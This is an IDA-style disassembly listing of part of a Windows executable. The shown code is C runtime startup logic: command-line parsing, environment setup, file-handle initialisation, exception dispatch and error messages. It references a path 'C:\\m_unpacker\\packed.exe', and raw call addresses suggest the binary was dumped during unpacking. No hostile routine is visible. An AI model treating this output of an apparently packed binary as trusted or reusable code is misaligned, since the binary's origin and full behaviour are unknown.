		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43CFFC, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43CFFC, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43CFFC, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43CFFC, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43CFFC, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43CFFC, 8Ah


loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43CFFC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43CFFC, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------


loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DBA00, eax


loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------


loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 2620109h


loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43CFF8
		cmp	dword_43CF78, edx
		push	esi
		mov	eax, offset dword_43CF78
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43CF78h[esi*4]


loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51


loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43CF78h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71


loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DCFD4, 0
		jnz	short loc_422E80
		call	sub_42026D


loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DCFCC
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2


loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------


loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC


loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------


loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC


loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6


loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF


loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DCFD4, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D


loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB998
		xor	edi, edi


loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi


loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------


loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB950, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB998
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp


loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp


loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB998
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB998, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DCFD0, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DCFD4, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D


loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	near ptr 2660000h
		nop
		mov	eax, dword_4DCFCC
		mov	off_4DB960, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax


loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx


loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB948, esi
		pop	edi
		pop	esi
		mov	dword_4DB944, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F


loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DCEA1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------


loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi


loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DCEA1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax


loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F


loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA


loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0


loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0


loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF


loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE


loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------


loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------


loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------


loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi


loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1


loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx


loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153


loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0


loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DCEA1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------


loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DCEA1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]


loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]


loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------


loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi


loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------


loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0


loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DBB08
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DBB08, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------


loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 2610D5Bh
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DBB08, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------


loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8


loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9


loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C


loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E


loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx


loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]


loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		nop
		call	near ptr 2610FC3h
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9


loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 2610D5Bh
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9


loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD


loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3


loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------


loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch


loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		call	near ptr 2620000h
		nop
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax


loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx


loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DCC80, esi
		mov	dword_4DCD80, 20h
		lea	eax, [esi+100h]


loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DCC80
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------


loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2890000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax


loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DCD80, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DCC84


loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DCD80, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------


loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DCD80, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------


loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DCD80


loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432


loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		nop
		call	near ptr 26102C7h
		test	eax, eax
		jz	short loc_423429


loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCC80[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC


loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx


loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DCC80
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------


loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		nop
		call	near ptr 2610B09h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 26102C7h
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484


loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h


loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DCD80
		nop
		call	near ptr 2610CEFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------


loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB9A0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A974, 1
		jnz	short locret_4235C8


loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DBB0C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax


loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D008


loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D098
		jl	short loc_4235DC


loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D008[esi]
		jnz	loc_423719
		mov	eax, dword_4DB9A0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A974, 1
		jz	loc_4236F3


loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2660000h
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h


loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
